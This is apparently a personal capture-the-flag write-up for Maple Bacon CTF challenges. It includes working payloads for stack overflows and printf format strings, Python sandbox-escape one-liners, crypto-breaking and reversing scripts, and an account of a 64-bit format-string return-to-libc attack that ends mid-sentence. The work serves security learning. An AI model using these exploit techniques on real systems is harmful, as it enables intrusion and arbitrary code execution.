'print("a"*56+"\x16\x12\x40\x00\x00\x00\x00\x00")' | nc wetuwn-addwess.ctf.maplebacon.org 32014` + + voila `maple{r3turn_t0_w1n}` + +### echowo + + another box standard `printf` format attack exploit - just keep using `%016x.%016x.%016x.%016x.%016x.%016x...` to print addresses until something looks interesting, and `%016x.%016x.%016x.%016x.%016x.%016x.%s` it since we know its a string, and viola + + `maple{fowmat_stwing_vuwnewabiwity!!}` + +### memowy cowwuption + + another box standard memory corruption - this time it is writing out of bounds; only 0x40 was malloc'd but we can write 0x64 bytes to it + + this one for some reason took me a while to figure out the offset - i couldnt find the right amount of random bytes to overwrite until i reach the user id, so i just guessed the offset since there is user id output, so thats not the main problem + + the main problem is python doesnt want to encode `\xef\xbe\xad\xde` correctly, so i had to change the solution to using python to generate the `80 * "a"`s and `echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde' | nc memowy-cowwuption.ctf.maplebacon.org 32019` + + flag `maple{ovewwwiting_stack_vawiabwes}` + +### copilot my savior + + ngl this one was kinda funny - the encrypt function generated by copilot is literally a single XOR lmfao which is easily reversable + + thus i literally just altered the given encrypt.py to brute force the following since it asserted 0 < key < 255 +```py +def encrypt(file, key): + f = open(file, "r", encoding="utf-8") + str = '' + for line in f: + for c in line: + str+=chr(ord(c) ^ key) + if 'maple' in str: + print(str) + f.close() + + for key in range(255): + encrypt("flag.txt.enc", key) +``` + + and lmao here it is `maple{c0P1L07_b37R4Y3D_m3}` + +### encode me + + just a lot of pretty much cpsc 213 endianness byte size convert hex to dec yadayada stuff lmao + + the gist here is to be able to automate it since you need 1337 correct tries to pass it and get the flag + + so pwntools to the rescue + + one thing to note tho is that there was no mention of byte size in bytes and base64 qn, only endianness - i originally used dynamic byte size but the system only supports 8 byte padded so it was dying randomly part way through + + also i was too rusty at pwntools and forgot recvuntil dies and doesnt print anything when EOF lmao +```py +import sys +import base64 +sys.path.append("/home/l/leeyl/pwntools/pwntools-4.7.0/") + +from pwn import * + +conn = remote('encode-me.ctf.maplebacon.org', 32016) + +score = 0 + + +while True: + if score <= 1336: + print(conn.recvuntil('Return ')) + else: + print(conn.recvall()) + defin = conn.recvline().decode('utf-8') + print(defin) + spl = defin.split(' as ') + + if 'bytes (little endian)' in spl[1]: + print(int(spl[0]).to_bytes(64 // 8, 'little')) + conn.send(int(spl[0]).to_bytes(64 // 8, 'little')) + if 'binary' in spl[1]: + print(bin(int(spl[0]))) + conn.send(bin(int(spl[0]))) + if 'hexadecimal' in spl[1]: + print(hex(int(spl[0]))) + conn.send(hex(int(spl[0]))) + if 'base64' in spl[1]: + #they only accept 8 bytes size - original (n.bit_length() + 7) // 8 doesnt work + print(base64.b64encode(int(spl[0]).to_bytes(64 // 8, byteorder='big'))) + conn.send(base64.b64encode(int(spl[0]).to_bytes(64 // 8, byteorder='big'))) + conn.send('\n') + score+=1 + + + +conn.close() +``` + +`maple{d1d_y0u_u5e_pwnt00l5?}` + + + +### decode me + + literally reverse of encode me, with more cringe formatting + + main thing about this chall is how you read the bytes - i keep reading the wrong thing since the bytes can have `b'\n'` in the middle of the valid byte and so it was dying randomly + + you can see me giving up and doing another while loop in case the thing died part way so i dont have to manually retry lmao +```py +import sys +import base64 +sys.path.append("/home/l/leeyl/pwntools/pwntools-4.7.0/") + +from pwn import * + +score = 0 + +while score < 10000: + conn = remote('decode-me.ctf.maplebacon.org', 32015) + try: + while True: + spl = [0, 0] + if score <= 1336: + print(conn.recvuntil('BEGIN')) + spl[1] = conn.recvuntil('\n') + else: + print(conn.recvall()) + score=10000 + spl[0] = conn.recvuntil('\n-', drop=True) + + if 'BYTES (LITTLE ENDIAN)' in spl[1].decode('utf-8'): + print(int.from_bytes(spl[0], 'little')) + conn.send(str(int.from_bytes(spl[0], 'little'))) + if 'BINARY' in spl[1].decode('utf-8'): + conn.recvline() + print(int(spl[0], 2)) + conn.send(str(int(spl[0], 2))) + if 'HEXADECIMAL' in spl[1].decode('utf-8'): + conn.recvline() + print(int(spl[0], 16)) + conn.send(str(int(spl[0], 16))) + if 'BASE64' in spl[1].decode('utf-8'): + print(int.from_bytes(base64.b64decode(spl[0].decode('utf-8')), 'big')) + conn.send(str(int.from_bytes(base64.b64decode(spl[0].decode('utf-8')), 'big'))) + conn.send('\n') + score+=1 + except EOFError: + score = 0 + conn.close() + + +conn.close() +``` + +`maple{15_th15_crypt0??}` + +### one two three + + this one is honestly quite challenging but idk if its just me being bad at crypto lol + + i originally thought its an AES ECB ciphertext attack but i dont even know the position of the flag nor is it 16 bytes wide so i cant do that (ECB only shows weakness when you get a full block of plaintext+ciphertext) + + so i looked again and realized its just xoring keys together and i got a lot of ciphertext + + we can actually use 2 lines of ciphertext xor'd with the same value to get the xor'd value of the 2 plain text + + since `(A ^ k) ^ (B ^ k) = A ^ B` + + so i went to work and wrote a tester: +```py +for i in range(len(lines)): + x = xor(int_to_bytes(int(lines[i], 16)), int_to_bytes(int(lines[i+1], 16))) + for j in range(len(x)): + test = xor(x[j:j+6],b'maple{') + if re.match('^[a-zA-Z0-9 ]+$', test.decode('utf-8')) != None: + print(test, str(i), str(j)) +``` + + the first returned line looks REALLY like a real plaintext - so i marched on and verified it: +```py +for i in range(len(lines)): + x = xor(int_to_bytes(int(lines[1], 16)), int_to_bytes(int(lines[i+1], 16))) + test = xor(x[12:],b'unter ') + try: + if re.match('^[a-zA-Z0-9 ]+$', test.decode('utf-8')) != None: + print(test, str(i)) + except: + continue +``` + + eyo? all of the returned lines (the try catch filtered the junk lines that cant be decoded out) were definitely in plaintext and there were at least 15 of them so its definitely correct + + so now that i verified line 0 position 12 is the start of the flag, i tried making a searcher +```py +pat = re.compile('^[a-zA-Z0-9!.\?,\-"\(\) ]+$') +alpn = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!-?}'.encode('utf-8') + +def search(bstr: bytes): + # if(25 < len(bstr)): #terminate tree + # print(bstr) + # return + + for c in alpn: + nstr = bstr + bytes([c]) + #print('trying', nstr) + fail = False + for i in [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 14, 17, 18, 23, 24]: + x = xor(int_to_bytes(int(lines[0], 16)), int_to_bytes(int(lines[i], 16))) + test = xor(x[12:], nstr) + try: + if pat.match(test.decode('utf-8')) == None: #all of the lines should return alphanumeric results + print('line', str(i), 'mismatch', test, ' try ', nstr) + fail = True + break + except: + fail = True + break + if not fail: + search(nstr) +``` + + note that the regex pattern is common punctuation and the brute forcer is only leetspeak characters + + plain brute forcing using this method was still too slow though, but when i was racking my brain out i looked at the output and realized some of the words i can actually fill it in by myself + + such as when i see `n unnece`, i thought it most likely would be `n unnecessary` + + so i wrote YET another tester +```py +x = xor(int_to_bytes(int(lines[0], 16)), int_to_bytes(int(lines[7], 16))) +test = xor(x[12:], b'n unnecessary') +print(test) +``` + + and LMAO it actually is right i got `maple{ctr_1s_` which is standard leetspeak + + so i just repeated this process of generating more strings using the search func that look like i can complete the word, complete the word myself, verify with the tester, and then put it back into the search func + + and after 2 hours of work i finally got the flag `maple{ctr_1s_g00d_bu7_d0n7_r3p347_n0nc35}` + +### pyjail + + pyjail 1 was braindead easy - since they only have a really limited list of things you cannot do, we can just do `import os; os.system('ls')` and run basically every shell cmd on it lol + + first thing i did ofc was to do reconnaissance - ran some `ls` to see where the flag might be + + the flag file was in multiple directories - `secret/flag/topsecret.txt` was the location + + and the its just a `cat secret/flag/topsecret.txt` and voila lmao `maple{welc0m3_to_the_w0rlD_oF_cod3_j4ilz}` + +### pyjail 2 + + now this one is more challenging - it banned even the reflective operations which largely relies on `_`, and has a 50 char limit, so i had to squeeze a lot of characters out + + its also unlike HKCERT CTF's pyjail since `_` is completely banned, but i know we can use string escape sequences `\x` since ive read up on it + + (side note it only took me ages coz i thought it was in the same path as pyjail 1 which was `secrets/flag/topsecret.txt` which takes up a lot more chars than `flag.txt`) + + i initially thought of getting `exec()` and `input()` functions to call them, but they ended up too long (`vars(list(globals().values())[6])['\x65xec']()` is alr needed to get just exec func) + + but then i realized no wait i can just use open the normal way and reflect read instead + + and so after a while i finally got the cmd `print(getattr(open('fla\x67.\x74xt'),'\x72ead')())` + + and ey `maple{pyth0n_0n3_lInerz_UwU}` + +### hijacked + + ofc the first thing i tried was searching the flag in the file directly - if i remembered correctly that was the most braindead thing in HKCERT CTF lmao + + good thing this time the flag is not there right in a hex editor, so i proceeded to look at HTTP requests + + i dont have wireshark on my laptop, so i used tcpdump, but theres not much detail i can spot well so i used ngrep instead + + i noticed some weird calls to ix.io, along with funni meems like `GET /?q=blend%20in%20with%20humans%20wikihow` ok lmao + + all of the ix.io files /3MDU /3MDT /3MDR /3MDS are all visibly lat lon coordinates and elevation + + and i noticed one of the request is to https://www.topografix.com/GPX/1/1/ so it definitely is lat lons + + first thing that came to mind right after that is how the coordinates feel like they are tracing the flag with the sharp turns and stuff, so i went to work generating a gpx file for online viewer + + i went on https://en.wikipedia.org/wiki/GPS_Exchange_Format, looked at the sample, and made a regex to generate the track data as xml format (read `([\-0-9.]*) ([\-0-9.]*) ([\-0-9.]*)` replace ` \n $3\n \n ` + + then i copied the headers and footers from the wiki sample to finish the file off + + i think the time being all the same broke https://gpx.studio/, so i went to another one https://www.gpsvisualizer.com/ which worked flawlessly + + one last thing was figuring out whether the 0s are `0` or `O`s - i just guessed that they are 0s due to leetspeak and ey got it `MApLE{mISc_bAc0n_Fr0M_0utER_SpAc3}` + +### uwu intewpwetew + + by far my fav chall so far lmao its the just right amount of difficulty and is quite ingenious + + i first went and looked in the src and i realized something is wrong in the interpreter: for `owo` inst, the guard was in the wrong direction `if (pointer > DATA_LEN) {` - since we are `pointer--`-ing the guard should check if pointer went out of bounds using `< 0` instead + + so now that i know i can read and write to any of the memory locations (provided that i dont go over the char limit of 100 bytes) that is before the pointer counter location i went to work looking at if there are any return addresses that i can utilize on the stack + + yep there it is right there at the stack view in IDA when i was breakpointed at `@w@` with the only `vuln+xx` shown - it is the return address for printf + + through breakpointing at every `@w@` call after `owo` i realized i only need 10 `owo`s to decrement it to the printf return address on the stack (each decrement is 4 bytes), which is really good, so i started experimenting with modifying the address value + + i originally used `QwQ` to decrement it to `win()`'s address since looking at esolang that is the only one thats implemented and useful, but that would require me to make hundreds of repeating `QwQ`s (iirc 407 or so) which is impossible without breaking char limit + + but then i realized `>w<`'s implementation in this chall is different - it writes an entire 4 bytes instead of 1 char, so i started thinking if i can actually grab the original address (ASLR so i cannot hardcode) and then do a subtraction to `win()`'s address + + in the process somehow the returned lower portion of the address was different in hex than the one in IDA debugging - it was off by 787 or so (in decimal) but it doesnt matter much since its always off by that amount + + so i factored that in, and also subtracted the return address with the `win()` address, and finally came to the value of `-244` in decimal + + to grab everything i need, i just did `owo owo owo owo owo owo owo owo owo owo @w@ >w< @w@` to print the address value at the stack, subtract that value specified in `data: ` by `244`, enter that subtracted value into `>w<`'s input, and `@w@` to trigger the return to the address modified + + viola `maple{nyo_wespect_fow_boundawies}` right before segfault as i modified the return so stack frame is broken + +### pyjail 3 + + i am actually braindead on this one + + i noticed i cant use `getattr` like i did in pyjail 3 anymore, so i thought hm maybe its actually time to try out a way to do `exec(input())` so i get no restrictions anymore + + but after an hour i only went from `vars([*globals().values()][6])['\x65xec'](vars([*globals().values()][6])['\x69nput']())` to `locals().update([['a',[*vars([*globals().values()][6]).values()]]]) or a[20](a[28]())` to `locals().setdefault('a',[*vars([*globals().values()][6]).values()])[20](a[28]())` which is still 30 chars above limit + + i really wanted to shorten that since its a really powerful line of code that i might be able to use in other pyjails but it feels like i was at a deadend + + so i just went back to the drawing board and looked at `open()` again + + after poking around with running `print(vars())` and stuff i noticed open in text mode has a `buffer` field, which has a `peek()` function that is not banned but does the same thing as `read*()` which is banned + + but when i try to do that it for some reason throws `ValueError: peek of closed file` + + so after trying to debug if its my file system's problem i just went to try other modes instead and used `rb` which returns a `bufferedreader` directly + + and bruh `print(open('fla\x67.\x74xt','rb').peek(100))` works flawlessly + + so yea if i used that method in pyjail 2 i couldve solved it in 3 seconds lmao + + anyway flags here `maple{Did_u_kn0w_that_d0lph1ns_sl33p_with_one_eye_open}` + +### baby pwintf + + this one is a standard printf format string overwrite, but i still had no idea what i was doing lmao + + i did the usual `%p%p%p%p%p` stuff to try to get some idea of what it is, before realizing it only accepts 10 bytes of input + + so theoretically the rating pointer would also be in there somewhere since its not that far up the stack but i cannot find it anywhere near the rbp in IDA stack view (i genuinely think stack view is kinda broken coz every single chall i see different values than what i can gather lmao) + + so after some more smolbraining i eventually plugged the pointers i got from the format string into IDA to see heap data and lol the first pointer is already the rating pointer + + so i attempted to write to it using `%.4919d%n`, where 4919 = 0x1337 and `%.4919d` prints 4919 characters for plugging its length into `%n` which writes to the non existent variable which is just a stack pointer + + but it segfaulted - `%.4919d%n` seems to not be writing to the right pointer as i expected using `%p` + + so i ended up just trying out all the offsets before landing on one that sets the rating to `0 / 10` instead of `4 / 10` due to `%` being the first char and hey `%7$n` worked flawlessly + + now that i see it i recall seeing other ctf writeups using `%7$n` too but i still cant point my hand to why that is + + i suspect its due to `%n` not being QWORD aligned but instead works on byte to byte basis but i honestly have no idea + + anyways then i just did `%.4919d%7$n` and it works like a charm so here the flag is `maple{youwe_weady_fow_the_big_boy_chawwenge}` + + 26/01/2022 15:20 EDIT: after doing a lot of printfs in pwintf, i realized %7$n is because it was popping registers before accessing stack so to access ratings on the stack we gotta go through them first + +### 3d + + this one took probably the longest out of all challs ive solved so far ngl + + had to get a direct understanding on how every single component worked + + not to mention the offset table screwed up hexrays decompilation so i couldnt get a high level overview and had to reverse instruction by instruction + + either way rant over heres how i did it + + so as usual i opened it in IDA and looked at how the main func worked using the decompiler + + upon digging, the input is not directly related to the flag - it is only a password for decrypting the AES encrypted flag, so i cannot test it with `maple{` + + there is a loop that checks 3 values, `dword_3220` (hereby renamed `must_be_7_1st` and `mb71`), `dword_3224` (hereby renamed `must_be_0` and `mb0`) and `dword_428C` (hereby renamed `must_be_7_2nd` and `mb72`), which only moves on when all 3 values are 7, 0, and 7 respectively (hence the names i gave them) + + so i looked at the if clause inside the loop and realized `sub_166B` returns zero and terminates the program using `sub_1741` when given invalid input, and upon further digging (code block before first `ja`) they only accept the input `[a-w]{0,26}` (in regex, 26 since `fgets` only reads 26 characters), so i just tried to spam random input in that range to see what happens in the debugger + + but somehow it is still jumping to return 0, which prompted me to analyse the code block right after the `ja`: +```asm +mov eax, eax ; no op - apparently missed optimization +lea rdx, ds:0[rax*4] +lea rax, offset_table_2010 ; load offset table for calculating which offset to use +mov eax, [rdx+rax] ; calculate which offset to use based on lea rdx, ds:0[rax*4] and store the offset in eax +cdqe ; extend to rax for calculation +lea rdx, offset_table_2010 ; load offset table again +add rax, rdx ; load branch address offset from offset table by value specified in offset table +db 3Eh ; jump to address +jmp rax +``` + + and here is the offset table: +```text +7A F4 FF FF 8B F5 FF FF 8B F5 FF FF EE F4 FF FF +58 F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF +8B F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF +8B F5 FF FF 8B F5 FF FF 8B F5 FF FF 8B F5 FF FF +25 F5 FF FF 8B F5 FF FF B4 F4 FF FF 8B F5 FF FF +8B F5 FF FF 8B F5 FF FF 40 F4 FF FF 50 61 73 73 +``` + + which actually corresponds to only 6 valid inputs with the rest jumping to return 0 after some calculations using the offsets and the address of the table upon more digging + + with that knowledge, i started mapping what branches does what - and i quickly realized each branch adds and subtracts each of the 3 values respectively + + by mapping the offset table to the branches, i thought running `w` once and `q` 7 times will set the values correctly, being blissfully unaware of the top code block of each branch that checks whether branch can be executed (i kinda saw that coming if it was that straightforward there would be multiple AES keys which shouldnt be the case, but tried to ignore it coz it would mean more pain lmao) + + and of course the branches didnt execute as i thought - the values were unchanged when i ran with the password + + so i bit my lip and marched on, mapping the code block that is responsible for handling the testing and noticing another pattern (this is branch 5, aka `w`): +```asm +mov eax, 0 +call sub_12A9 ; (8 * (8 * must_be_7_2nd + must_be_0) + must_be_7_1st); +cdqe ; another extend for adding to address +lea rdx, value_table_3020 ; grab value table ptr for calculating which value to use +movzx eax, byte ptr [rax+rdx] ; offset value table ptr by result of call and get the value to use +movzx eax, al ; retain only lower 1 byte of eax +and eax, 10h +cmp eax, 10h ; see if bit 5 is set +jnz short loc_15AE +``` + + and finally with that info i was able to map exactly what input does what +```txt +w - FFFF F440 - must_be_0 -1 - up 8 bytes - req bit 2 +a - FFFF F47A - must_be_7_1st -1 - up 1 byte - req bit 3 +s - FFFF F4B4 - must_be_0 +1 - down 8 bytes - req bit 1 +d - FFFF F4EE - must_be_7_1st +1 - down 1 byte - req bit 4 +q - FFFF F440 - must_be_7_2nd +1 - down 64 bytes - req bit 5 +e - FFFF F558 - must_be_7_2nd -1 - up 64 bytes - req bit 6 +``` + + side note - the 3 values can never be negative as the function just value++ again right after subtraction if that happens, as i noticed with the comment `loc_15B2: ; looks like a bunch of negative checks` + + looking at how the inputs resemble a game, with `wasd` keys and `qe` for jumping, its more and more evident that the value table itself is basically a maze of sorts - which means good ol `cpsc 110` graph searching is gonna be once again very helpful :upside_down_face: + + as i really did not want to write yet another searcher, i tried to manually traverse the maze myself, but gave up after reaching 2 or so dead ends + + so yea eventually i had to give in and just write a script to search the tree for me: +```py +#value_table at 3020 +tbl = [ +0x09,0x14,0x01,0x10,0x09,0x05,0x01,0x01, 0x13,0x01,0x03,0x01,0x03,0x12,0x0B,0x07, +0x0B,0x0E,0x16,0x12,0x02,0x10,0x03,0x12, 0x12,0x08,0x0C,0x0C,0x1C,0x14,0x03,0x10, +0x18,0x0C,0x0C,0x14,0x10,0x09,0x0E,0x15, 0x11,0x10,0x08,0x0C,0x0C,0x07,0x11,0x12, +0x02,0x10,0x10,0x08,0x15,0x02,0x0A,0x05, 0x10,0x08,0x14,0x10,0x02,0x08,0x14,0x02, +0x11,0x30,0x01,0x28,0x0C,0x05,0x08,0x15, 0x2A,0x14,0x12,0x01,0x01,0x2A,0x15,0x13, +0x08,0x15,0x39,0x26,0x0A,0x25,0x1B,0x26, 0x20,0x0A,0x17,0x01,0x30,0x2B,0x0F,0x24, +0x20,0x08,0x1F,0x2F,0x2C,0x17,0x03,0x30, 0x21,0x28,0x06,0x02,0x08,0x06,0x33,0x20, +0x0A,0x35,0x28,0x05,0x28,0x0C,0x0F,0x04, 0x28,0x06,0x28,0x2E,0x1C,0x04,0x3A,0x04, +0x20,0x20,0x19,0x05,0x08,0x1C,0x05,0x30, 0x11,0x20,0x32,0x02,0x08,0x05,0x32,0x20, +0x0B,0x24,0x38,0x04,0x01,0x0A,0x2D,0x04, 0x02,0x19,0x34,0x01,0x32,0x11,0x1A,0x04, +0x08,0x06,0x29,0x1E,0x04,0x22,0x08,0x24, 0x10,0x09,0x1E,0x14,0x08,0x0D,0x3C,0x05, +0x19,0x37,0x08,0x0C,0x0C,0x06,0x11,0x12, 0x02,0x02,0x08,0x0C,0x2C,0x1C,0x3E,0x14, +0x10,0x10,0x20,0x08,0x1D,0x25,0x01,0x21, 0x31,0x08,0x25,0x10,0x02,0x02,0x33,0x03, +0x13,0x08,0x3E,0x14,0x10,0x10,0x12,0x02, 0x02,0x20,0x29,0x04,0x21,0x30,0x28,0x04, +0x18,0x0C,0x16,0x20,0x02,0x09,0x1C,0x04, 0x28,0x0C,0x34,0x30,0x18,0x1E,0x2C,0x04, +0x20,0x38,0x05,0x01,0x01,0x01,0x20,0x30, 0x10,0x08,0x0E,0x16,0x1A,0x36,0x30,0x20, +0x21,0x28,0x0D,0x04,0x20,0x18,0x0D,0x04, 0x22,0x08,0x07,0x21,0x11,0x18,0x36,0x01, +0x20,0x08,0x37,0x2A,0x3F,0x24,0x28,0x07, 0x11,0x01,0x1A,0x14,0x02,0x20,0x11,0x03, +0x22,0x0A,0x24,0x08,0x1C,0x05,0x33,0x12, 0x10,0x11,0x21,0x30,0x30,0x22,0x1A,0x04, +0x08,0x27,0x0A,0x0C,0x04,0x08,0x14,0x21, 0x38,0x06,0x18,0x24,0x20,0x30,0x30,0x02, +0x01,0x19,0x1C,0x04,0x10,0x20,0x19,0x04, 0x12,0x1B,0x0C,0x04,0x20,0x20,0x2A,0x04, +0x08,0x0F,0x3C,0x14,0x38,0x04,0x19,0x14, 0x30,0x02,0x30,0x30,0x01,0x10,0x3A,0x04, +0x08,0x05,0x01,0x01,0x3A,0x14,0x30,0x20, 0x29,0x3F,0x07,0x22,0x30,0x11,0x28,0x14, +0x12,0x03,0x0A,0x05,0x10,0x1A,0x35,0x01, 0x20,0x02,0x20,0x0A,0x14,0x20,0x3A,0x16, +0x09,0x34,0x21,0x01,0x29,0x14,0x20,0x11, 0x22,0x30,0x02,0x12,0x1A,0x0D,0x1C,0x16, +0x08,0x0C,0x24,0x30,0x20,0x02,0x30,0x20, 0x30,0x08,0x35,0x28,0x1C,0x34,0x28,0x04, +0x08,0x0C,0x06,0x10,0x20,0x20,0x20,0x01, 0x10,0x39,0x1D,0x04,0x20,0x38,0x14,0x33, +0x20,0x13,0x1A,0x0C,0x24,0x20,0x30,0x02, 0x08,0x16,0x10,0x08,0x3C,0x04,0x30,0x20, +0x01,0x20,0x08,0x0D,0x04,0x20,0x01,0x20, 0x0B,0x25,0x08,0x2F,0x2C,0x04,0x22,0x20, +0x02,0x03,0x01,0x2B,0x04,0x08,0x2D,0x04, 0x20,0x02,0x22,0x03,0x21,0x20,0x0A,0x04, +0x01,0x01,0x08,0x26,0x0A,0x04,0x01,0x01, 0x2B,0x26,0x28,0x0C,0x04,0x20,0x22,0x23, +0x02,0x20,0x29,0x04,0x08,0x0C,0x24,0x03, 0x08,0x24,0x2A,0x04,0x28,0x04,0x20,0x02 +] + + +#wasdqe and what they do as defined in sub_140C's offset table and branching +def move(step, mb0, mb71, mb72, path, visited): #we want to reach 0, 7, 7 for each mb value + + if mb0 == 0 and mb71 == 7 and mb72 == 7: #solution found + print(path) + return + + if step == 26: #i can only input 26 chars + print('fail', mb0, mb71, mb72) + return + + + ptr = (8 * (8 * mb72 + mb0) + mb71) + + #print('ptr', ptr, 'visited', visited, 'path', path, 'curr', hex(tbl[ptr])) + + if ptr in visited: #we dont want to revisit - might block solution if it somehow increments value but is significantly faster + return + + curr = tbl[ptr] #current value as defined by sub_12A9 for ptr + + #print('path', path, 'curr', hex(curr)) + + visited = visited + [ptr] + + step+=1 + + if curr & 0b10: #branch 1, up 8 bytes + newmb0 = mb0 - 1 if mb0 > 0 else mb0 #cannot go negative as defined in loc_15B2 + #if len(path) <= 0 or path[-1] != 's': #ignore useless going back - prob should exempt zeros tbh + newpath = path + 'w' + move(step, newmb0, mb71, mb72, newpath, visited) #have to put move in each if to branch the tree + + if curr & 0b100: #branch 2, up 1 byte + newmb71 = mb71 - 1 if mb71 > 0 else mb71 + #if len(path) <= 0 or path[-1] != 'd': + newpath = path + 'a' + move(step, mb0, newmb71, mb72, newpath, visited) + + if curr & 0b1: #branch 3, down 8 bytes + newmb0 = mb0 + 1 + #if len(path) <= 0 or path[-1] != 'w': + newpath = path + 's' + move(step, newmb0, mb71, mb72, newpath, visited) + + if curr & 0b1000: #branch 4, down 1 byte + newmb71 = mb71 + 1 + #if len(path) <= 0 or path[-1] != 'a': + newpath = path + 'd' + move(step, mb0, newmb71, mb72, newpath, visited) + + if curr & 0b10000: #branch 5, down 64 bytes + newmb72 = mb72 + 1 + #if len(path) <= 0 or path[-1] != 'e': + newpath = path + 'q' + move(step, mb0, mb71, newmb72, newpath, visited) + + if curr & 0b100000: #branch 6, up 64 bytes + newmb72 = mb72 - 1 if mb72 > 0 else mb72 + #if len(path) <= 0 or path[-1] != 'q': + newpath = path + 'e' + move(step, mb0, mb71, newmb72, newpath, visited) + + +#starting data of must_be_0, must_be_7_1st and must_be_7_2nd +move(0, 1, 7, 0, '', []) +``` + + it is uncanny how many mistakes i made while writing that script (*coughcoughforgettingtosetanewvarforeachbranchandfailingbeforecheckingsuccesscoughcough*), thats why it took me ages + + but hey in my defense it was also 6am and ive been working on this for 2 hours already + + anyways it generated a single solution out as i hoped (`sqasasaaawwqqqqdqqwdedddwq`) in the end, and hey when i plugged that password in there the flag is `maple{aMAZE1ng_job!11!1}` + +### spinning around + + LMAO holy the method i solved this is probably way more braindead than the expected one + + i really dont wanna trace the code flow through ida to deobfuscate the data so i originally tried to decompile and recompile all the code so i can trace it easier with prints and stuff + + but after a while it was getting really tiring coz im not sure about how to clean certain certain things (namely ptr arithmetic in IDA) into correct c++ code so it was segfaulting a lot + + so i kinda just gave up on that + + but then i was thinking hm since the process is iterating through characters and terminating right when it hit the wrong character (prints found but expected msg and exits) anyways if i can just find a way to count the loop i know up until exactly which char the flag is correct + + so i can just write a brute forcer to set characters according to the count! + + i chose pwntools and gdb coz it feels the most straightforward to me for scripting a debugger like that, so i started setting them up with a python script + + after a lot of setup headaches ~~mainly due to me being dumb~~ with using the wrong pwntools feature and scrambling to find a working gdbserver and then finding all the wrong ones, i finally got the script setup: +```py +from pwn import * + +flag = 'maple{' + +alpn = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!-?}' + +count = 0 + +while len(flag) < 50: + + for c in alpn: + count = 0 + io = process(['/usr/bin/gdb', '-q', './spinning_around.bak']) + io.sendline('b *(main+0x18B)') + print(flag + c + 'a'*(49-len(flag))) + io.sendline('set args ' + flag + c + 'a'*(49-len(flag))) + io.sendline('start') + + io.recvuntil('Temporary breakpoint') + io.recvuntil('\n(gdb) ') + io.send('continue\n') + + while True: + end = io.recvuntil('\n(gdb) ') + if 'exited with code' in end.decode('utf-8'): + break + + count+=1 + io.send('continue\n') + + print(c, count) + if count == len(flag) + 2: + flag += c + io.close() + break + + io.close() +``` + + and LMAO it actually works + + well that is until the chars after `maple{r0t4ting_unb4` - since i used a as placeholders and i was checking count == instead of count >=, since the flag was `unb4la` when i got `l` it counted 22 instead of 21 and ignored it + + but eventually i manually spotted it in the prints and i just replaced the flag and continued generating + + and voila `maple{r0t4ting_unb4lanc3d_tr3es_4r3_v3ry_very_fun}` with the dumbest method ive used to retrieve a flag LMAO + + literally did nothing related to rotating unbalanced trees KEK but in my defense my solution is also *spinning* around with loops xd(???) + +### pwintf + + holy fucking shit this has been the worst chall ive done BY MILES + + it has like way too many pwn elements - rop (using pop gadgets to shift `RSP`, but more accurately just using existing codes to my advantage coz i only used 1 single gadget lol), return to libc (literally calling system and providing arguments), and format string of course + + ive been working on this on and off for like 2 days (tbf it was partially coz of schoolwork being in the way) but yea i dont even remember much from when i started attempting this chall anymore lmao + + all i know is that ive stumbled upon countless roadblocks along the way which did not help at all lmao + + from what i still remember i first started by checking IDA and mapping the pointers im getting through `%<>$p` to libc functions and then getting the offsets to guess the libc version to get system offset (COZ I DID NOT REALIZE LIBC WAS LITERALLY PROVIDED) + + after looking at some patterns that looks like it matches the libc i was testing on and also doing some trial and error on function alignments (since the leaked addresses are offsets that mightve changed) i went on libc-database to see and ey i got a hit `libc6_2.31-0ubuntu9_amd64` + + *funnily enough i realized i guessed exactly correctly later on lmao* + + i then tried to utilize this knowledge to overwrite things - namely the good ol GOT since its the most convenient to deal with + + but i reached a problem that only exists with 64bit binaries: since we are using 64bit, but since the width specifier is integer we cannot overwrite more than 8 lower bytes of each stack value, and even if we can its gonna take eons to finish printing + + after some painful looking i finally found a way to modify GOT even with this restriction (iirc through double referencing, which is a predecessor of the method im gonna write about below, but it relies too much on how the stack is laid out with what data (in context the pwintf binary only had 1 set of ptrs to do exactly just overwriting GOT and nothing else) so im not gonna detail it here) + + and then with this newfound knowledge i started trying to overwrite GOT to change printf ptr to system so i can pass `/bin/sh` to it on next loop + + but haha guess what the remote server does not have the same stack which means i cant use the exact set of ptrs i found WHICH MEANS I GOTTA GO BACK TO THE DRAWING BOARD + + so after another few hours in crawling the web that apparently only have 32bit format string exploits which does not have the concern of 64 bit, i eventually figured out myself how to arbitarily overwrite addresses: + + but through using 1 pointer on the stack that references another pointer on the stack that also points to another stack location, i can write non aligned stack addresses through `%n` on the first ptr that modifies the second ptr to point to an empty location or a location i gotta rewrite, then through second ptr, write arbitrary values without alignment constraints to the third address since i can just add any number during my write to second ptr through first ptr + + basically the flow is as follows: + - figure out what stack addresses above `RSP` references another stack address that is also stack ptr + - lets say ptr1 is at `%10$p`, ptr2 is at `%20$p` and ptr3 that we are interested in is at `%30$p` + - utilize ptr1 to change ptr2 through `%10$hn` to overwrite 2 bytes or `%10$n` to overwrite 4 bytes to point to some location we are interested in (e.g. return address before `RSP`, or any convenient values that only requires modifying the lower parts) - usually only 2 bytes is enough since we are modifying close locations + - we then use `%20$p` to overwrite the value at the stack address that we wrote above, repeating step 2 with ptr3address + 2, ptr3address + 4 ... if needed + - we will end up with a fully overwritten value at ptr3 that we can then reference again using `%30$p` + + and now i can finally try GOT on the server + + but HAHA GUESS WHAT ITS FULL RELRO WHY DID I THINK SEGFAULTING LOCALLY WAS A BUG dude i was actually trolling here + + wasted a whole hour retrying this route lmao + + after this i also tried to return to heap to execute shellcode on the off chance it would succeed, but haha nope NX is enabled so + + so i tried to change my strategy to do return to libc using the printf return address instead + + and after like 2 hours i finally figured out the process to return to libc which involves using a gadget of pops chained before returning so i can return to libc without crashing as i need multiple writes to change return addr to system since i still didnt understand how to do multiple writes in a single line (actually i still dont think it is possible as my triple referencing technique cannot be executed at one go as the stack values get mov'd onto registers first so even if i change the stack value later references wouldnt have their values changed) + + so now i am finally in libc + + but the question is how tf do i pass the argument to it + + i noticed system uses `RDI` as argument, and `RDI` (***at 